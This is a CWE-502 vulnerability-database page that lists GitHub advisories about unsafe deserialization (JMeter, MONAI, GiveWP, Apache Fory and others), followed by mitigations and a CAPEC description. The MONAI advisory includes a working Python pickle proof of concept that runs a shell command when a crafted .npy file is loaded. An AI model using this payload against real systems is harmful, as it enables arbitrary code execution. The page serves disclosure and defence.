CWE-502
AllowedDeserialization of Untrusted Data
Abstraction: Base · Status: Draft
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
5185 vulnerabilities reference this CWE, most recent first.
GHSA-WG37-7MRV-CFWM
Vulnerability from github – Published: 2019-03-07 18:47 – Updated: 2022-09-14 22:45Unauthenticated RCE is possible when JMeter is used in distributed mode (-r or -R command line options). Attacker can establish a RMI connection to a jmeter-server using RemoteJMeterEngine and proceed with an attack using untrusted data deserialization. This only affect tests running in Distributed mode. Note that versions before 4.0 are not able to encrypt traffic between the nodes, nor authenticate the participating nodes so upgrade to JMeter 5.1 is also advised.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.jmeter:ApacheJMeter"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-0187"
],
"database_specific": {
"cwe_ids": [
"CWE-327",
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T22:00:15Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "Unauthenticated RCE is possible when JMeter is used in distributed mode (-r or -R command line options). Attacker can establish a RMI connection to a jmeter-server using RemoteJMeterEngine and proceed with an attack using untrusted data deserialization. This only affect tests running in Distributed mode. Note that versions before 4.0 are not able to encrypt traffic between the nodes, nor authenticate the participating nodes so upgrade to JMeter 5.1 is also advised.",
"id": "GHSA-wg37-7mrv-cfwm",
"modified": "2022-09-14T22:45:15Z",
"published": "2019-03-07T18:47:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-0187"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-wg37-7mrv-cfwm"
},
{
"type": "WEB",
"url": "http://mail-archives.apache.org/mod_mbox/jmeter-user/201903.mbox/%3CCAH9fUpaUQaFbgY1Zh4OvKSL4wdvGAmVt%2Bn4fegibDoAxK5XARw%40mail.gmail.com%3E"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/107219"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Unauthenticated Remote Code Execution in Apache JMeter"
}
GHSA-WG3P-6Q3H-P6W7
Vulnerability from github – Published: 2026-05-12 18:30 – Updated: 2026-05-13 18:30The Adversarial Robustness Toolbox (ART) thru 1.20.1 contains an insecure deserialization vulnerability (CWE-502) in its Kubeflow component's model loading functionality. When loading model weights from a file (e.g., model.pt) during robustness evaluation, the code uses torch.load() without the security-restrictive weights_only=True parameter. This allows the deserialization of arbitrary Python objects via the Pickle module. An attacker can exploit this by uploading a maliciously crafted model file to an object storage location referenced by the pipeline, or by controlling the model_id parameter to point to such a file. When the pipeline loads the model, the malicious payload is executed, leading to remote code execution.
{
"affected": [],
"aliases": [
"CVE-2026-31229"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-12T18:16:51Z",
"severity": "CRITICAL"
},
"details": "The Adversarial Robustness Toolbox (ART) thru 1.20.1 contains an insecure deserialization vulnerability (CWE-502) in its Kubeflow component\u0027s model loading functionality. When loading model weights from a file (e.g., model.pt) during robustness evaluation, the code uses torch.load() without the security-restrictive weights_only=True parameter. This allows the deserialization of arbitrary Python objects via the Pickle module. An attacker can exploit this by uploading a maliciously crafted model file to an object storage location referenced by the pipeline, or by controlling the model_id parameter to point to such a file. When the pipeline loads the model, the malicious payload is executed, leading to remote code execution.",
"id": "GHSA-wg3p-6q3h-p6w7",
"modified": "2026-05-13T18:30:46Z",
"published": "2026-05-12T18:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31229"
},
{
"type": "WEB",
"url": "https://github.com/Trusted-AI/adversarial-robustness-toolbox"
},
{
"type": "WEB",
"url": "https://www.notion.so/CVE-2026-31229-35d1e13931888172863dcc20beeb6b70"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WG9G-W2J2-8PGR
Vulnerability from github – Published: 2026-08-18 20:22 – Updated: 2026-08-18 20:22Summary
The NumpyReader class in monai/data/image_reader.py unconditionally uses np.load(name, allow_pickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allow_pickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allow_pickle").
Details
Vulnerable code (permalink):
# monai/data/image_reader.py, line 1276, in NumpyReader.read()
img = np.load(name, allow_pickle=True, **kwargs_)
The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.
The allow_pickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the __reduce__ method.
Compare with safe practices in the same project:
The MONAI project has already addressed similar deserialization issues in other code paths:
- torch.load calls now use weights_only=True (after GHSA-6vm5-6jv9-rjpj)
- PersistentDataset defaults to weights_only=True (line 272-275 of dataset.py)
However, NumpyReader was not included in these security improvements.
Additionally, the NPZDataset class in the same project correctly uses the default allow_pickle=False (permalink):
# monai/data/dataset.py, line 1433 — safe usage
dat = np.load(npzfile) # allow_pickle defaults to False
This inconsistency shows that NumpyReader was overlooked during security hardening.
The user cannot override this behavior:
# monai/data/image_reader.py, line 1233 (docstring)
# kwargs: additional args for `numpy.load` API except `allow_pickle`.
The hardcoded allow_pickle=True on line 1276 overrides any user attempt to set it via kwargs.
Data flow:
- User creates a data pipeline with
LoadImagetransform or uses any MONAI dataset class - A
.npyor.npzfile is provided as input (e.g., as part of a shared medical dataset) LoadImageselectsNumpyReaderbased on file extensionNumpyReader.read()callsnp.load(name, allow_pickle=True)- Malicious pickle payload in the
.npyfile executes arbitrary code
PoC
#!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow_pickle=True in MONAI"""
import os
import tempfile
import numpy as np
class MaliciousPayload:
def __reduce__(self):
return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))
tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)
# With MONAI installed:
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious_npy)
# Verify RCE
proof = "/tmp/monai_rce_proof.txt"
if os.path.exists(proof):
print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
os.remove(proof)
os.remove(malicious_npy)
os.rmdir(tmpdir)
Output:
[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed
Impact
An attacker can achieve arbitrary code execution on any machine running MONAI by:
-
Dataset poisoning: Placing a malicious
.npyfile in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes. -
Supply chain attack: Contributing a malicious
.npyfile to a MONAI tutorial, example, or bundle that other users download and run. -
Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.
This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "monai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-18T20:22:42Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe `NumpyReader` class in `monai/data/image_reader.py` unconditionally uses `np.load(name, allow_pickle=True)` (line 1276), enabling arbitrary code execution when loading a crafted `.npy` or `.npz` file. This affects all MONAI versions up to and including the latest commit (5b71547). The `allow_pickle` parameter is hardcoded to `True` and cannot be overridden by the user (the docstring explicitly states kwargs are accepted \"except `allow_pickle`\").\n\n### Details\n\n**Vulnerable code** ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/image_reader.py#L1276)):\n\n```python\n# monai/data/image_reader.py, line 1276, in NumpyReader.read()\nimg = np.load(name, allow_pickle=True, **kwargs_)\n```\n\nThe `NumpyReader` is automatically selected by MONAI\u0027s `LoadImage` transform for any file with `.npy` or `.npz` extension (see `monai/transforms/io/array.py` line 68: `\"numpyreader\": NumpyReader`). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.\n\nThe `allow_pickle=True` parameter enables Python\u0027s pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the `__reduce__` method.\n\n**Compare with safe practices in the same project:**\n\nThe MONAI project has already addressed similar deserialization issues in other code paths:\n- `torch.load` calls now use `weights_only=True` (after GHSA-6vm5-6jv9-rjpj)\n- `PersistentDataset` defaults to `weights_only=True` (line 272-275 of dataset.py)\n\nHowever, `NumpyReader` was not included in these security improvements.\n\nAdditionally, the `NPZDataset` class in the same project correctly uses the default `allow_pickle=False` ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/dataset.py#L1433)):\n\n```python\n# monai/data/dataset.py, line 1433 \u2014 safe usage\ndat = np.load(npzfile) # allow_pickle defaults to False\n```\n\nThis inconsistency shows that `NumpyReader` was overlooked during security hardening.\n\n**The user cannot override this behavior:**\n\n```python\n# monai/data/image_reader.py, line 1233 (docstring)\n# kwargs: additional args for `numpy.load` API except `allow_pickle`.\n```\n\nThe hardcoded `allow_pickle=True` on line 1276 overrides any user attempt to set it via kwargs.\n\n**Data flow:**\n\n1. User creates a data pipeline with `LoadImage` transform or uses any MONAI dataset class\n2. A `.npy` or `.npz` file is provided as input (e.g., as part of a shared medical dataset)\n3. `LoadImage` selects `NumpyReader` based on file extension\n4. `NumpyReader.read()` calls `np.load(name, allow_pickle=True)`\n5. Malicious pickle payload in the `.npy` file executes arbitrary code\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: RCE via NumpyReader allow_pickle=True in MONAI\"\"\"\nimport os\nimport tempfile\nimport numpy as np\n\nclass MaliciousPayload:\n def __reduce__(self):\n return (os.system, (\u0027echo \"MONAI NumpyReader RCE - Code executed\" \u003e /tmp/monai_rce_proof.txt\u0027,))\n\ntmpdir = tempfile.mkdtemp(prefix=\"monai_poc_\")\nmalicious_npy = os.path.join(tmpdir, \"malicious_mask.npy\")\nnp.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)\n\n# With MONAI installed:\nfrom monai.data.image_reader import NumpyReader\nreader = NumpyReader()\ndata = reader.read(malicious_npy)\n\n# Verify RCE\nproof = \"/tmp/monai_rce_proof.txt\"\nif os.path.exists(proof):\n print(f\"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}\")\n os.remove(proof)\n\nos.remove(malicious_npy)\nos.rmdir(tmpdir)\n```\n\n**Output:**\n```\n[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed\n```\n\n### Impact\n\nAn attacker can achieve arbitrary code execution on any machine running MONAI by:\n\n1. **Dataset poisoning**: Placing a malicious `.npy` file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI\u0027s standard pipeline, arbitrary code executes.\n\n2. **Supply chain attack**: Contributing a malicious `.npy` file to a MONAI tutorial, example, or bundle that other users download and run.\n\n3. **Lateral movement in medical environments**: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.\n\nThis is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).",
"id": "GHSA-wg9g-w2j2-8pgr",
"modified": "2026-08-18T20:22:42Z",
"published": "2026-08-18T20:22:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-wg9g-w2j2-8pgr"
},
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/pull/8875"
},
{
"type": "PACKAGE",
"url": "https://github.com/Project-MONAI/MONAI"
},
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "MONAI: Unsafe deserialization in NumpyReader allows arbitrary code execution via malicious .npy files"
}
GHSA-WGH2-2342-MM46
Vulnerability from github – Published: 2024-08-19 18:32 – Updated: 2024-08-19 18:32Deserialization of Untrusted Data vulnerability in Liquid Web GiveWP allows Object Injection.This issue affects GiveWP: from n/a through 3.14.1.
{
"affected": [],
"aliases": [
"CVE-2024-37099"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-19T17:15:07Z",
"severity": "CRITICAL"
},
"details": "Deserialization of Untrusted Data vulnerability in Liquid Web GiveWP allows Object Injection.This issue affects GiveWP: from n/a through 3.14.1.",
"id": "GHSA-wgh2-2342-mm46",
"modified": "2024-08-19T18:32:07Z",
"published": "2024-08-19T18:32:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37099"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/give/wordpress-givewp-plugin-3-14-1-unauthenticated-php-object-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WGR4-CGHW-Q97X
Vulnerability from github – Published: 2022-05-24 17:43 – Updated: 2023-12-29 18:30Microsoft SharePoint Remote Code Execution Vulnerability
{
"affected": [],
"aliases": [
"CVE-2021-24066"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-25T23:15:00Z",
"severity": "HIGH"
},
"details": "Microsoft SharePoint Remote Code Execution Vulnerability",
"id": "GHSA-wgr4-cghw-q97x",
"modified": "2023-12-29T18:30:26Z",
"published": "2022-05-24T17:43:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-24066"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24066"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WH27-24Q4-8PFV
Vulnerability from github – Published: 2026-01-20 15:33 – Updated: 2026-01-20 15:33The Nexter Extension – Site Enhancements Toolkit plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 4.4.6 via deserialization of untrusted input in the 'nxt_unserialize_replace' function. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.
{
"affected": [],
"aliases": [
"CVE-2026-0726"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-20T15:20:07Z",
"severity": "HIGH"
},
"details": "The Nexter Extension \u2013 Site Enhancements Toolkit plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 4.4.6 via deserialization of untrusted input in the \u0027nxt_unserialize_replace\u0027 function. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.",
"id": "GHSA-wh27-24q4-8pfv",
"modified": "2026-01-20T15:33:15Z",
"published": "2026-01-20T15:33:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0726"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?old_path=/nexter-extension/tags/4.4.6/include/panel-settings/extensions/nexter-ext-replace-url.php\u0026new_path=/nexter-extension/tags/4.4.7/include/panel-settings/extensions/nexter-ext-replace-url.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/02de9287-68e4-46ce-a491-3f6cbb7fc0ed?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WH2X-66QR-23V8
Vulnerability from github – Published: 2026-07-21 12:33 – Updated: 2026-07-21 21:32Heap type confusion and out-of-bounds read/write in the Apache Fory C++ implementation. When deserializing data in compatible mode, the field-skip paths do not correctly validate the declared field types against the actual data, so input with an inconsistent schema can cause type confusion and out-of-bounds memory access. Only the C++ implementation is affected; other language implementations of Apache Fory are not.
This issue affects Apache Fory C++: from 0.14.0 before 1.4.0.
Users are recommended to upgrade to version 1.4.0, which fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2026-64608"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T10:16:24Z",
"severity": "CRITICAL"
},
"details": "Heap type confusion and out-of-bounds read/write in the Apache Fory C++ implementation. When deserializing data in compatible mode, the field-skip paths do not correctly validate the declared field types against the actual data, so input with an inconsistent schema can cause type confusion and out-of-bounds memory access. Only the C++ implementation is affected; other language implementations of Apache Fory are not.\n\nThis issue affects Apache Fory C++: from 0.14.0 before 1.4.0.\n\nUsers are recommended to upgrade to version 1.4.0, which fixes the issue.",
"id": "GHSA-wh2x-66qr-23v8",
"modified": "2026-07-21T21:32:28Z",
"published": "2026-07-21T12:33:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64608"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/wl05slf57zzoq1s4pg4tk6nx6mjyjr4b"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/07/21/5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WH4V-FPR4-X9PH
Vulnerability from github – Published: 2023-05-22 03:30 – Updated: 2024-04-04 04:15IBM InfoSphere Information Server 11.7 is affected by a remote code execution vulnerability due to insecure deserialization in an RMI service. IBM X-Force ID: 255285.
{
"affected": [],
"aliases": [
"CVE-2023-32336"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-22T01:15:42Z",
"severity": "CRITICAL"
},
"details": "IBM InfoSphere Information Server 11.7 is affected by a remote code execution vulnerability due to insecure deserialization in an RMI service. IBM X-Force ID: 255285.",
"id": "GHSA-wh4v-fpr4-x9ph",
"modified": "2024-04-04T04:15:52Z",
"published": "2023-05-22T03:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32336"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/255285"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6995879"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WH6W-2QC6-MQ3C
Vulnerability from github – Published: 2024-07-09 06:30 – Updated: 2024-07-11 15:30The SEOPress WordPress plugin before 7.9 does not properly protect some of its REST API routes, which combined with another Object Injection vulnerability can allow unauthenticated attackers to unserialize malicious gadget chains, compromising the site if a suitable chain is present.
{
"affected": [],
"aliases": [
"CVE-2024-5488"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-09T06:15:03Z",
"severity": "CRITICAL"
},
"details": "The SEOPress WordPress plugin before 7.9 does not properly protect some of its REST API routes, which combined with another Object Injection vulnerability can allow unauthenticated attackers to unserialize malicious gadget chains, compromising the site if a suitable chain is present.",
"id": "GHSA-wh6w-2qc6-mq3c",
"modified": "2024-07-11T15:30:44Z",
"published": "2024-07-09T06:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5488"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/28507376-ded0-4e1a-b2fc-2182895aa14c"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WH7F-F43P-5Q6V
Vulnerability from github – Published: 2026-07-01 18:31 – Updated: 2026-07-01 18:31NVIDIA Megatron Bridge for Linux contains a vulnerability where an attacker could cause deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, data tampering, and information disclosure.
{
"affected": [],
"aliases": [
"CVE-2026-24244"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-01T16:16:44Z",
"severity": "HIGH"
},
"details": "NVIDIA Megatron Bridge for Linux contains a vulnerability where an attacker could cause deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, data tampering, and information disclosure.",
"id": "GHSA-wh7f-f43p-5q6v",
"modified": "2026-07-01T18:31:47Z",
"published": "2026-07-01T18:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24244"
},
{
"type": "WEB",
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5841"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24244"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Mitigation
When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
Mitigation
Explicitly define a final object() to prevent deserialization.
Mitigation
- Make fields transient to protect them from deserialization.
- An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
Mitigation
Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-586: Object Injection
An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.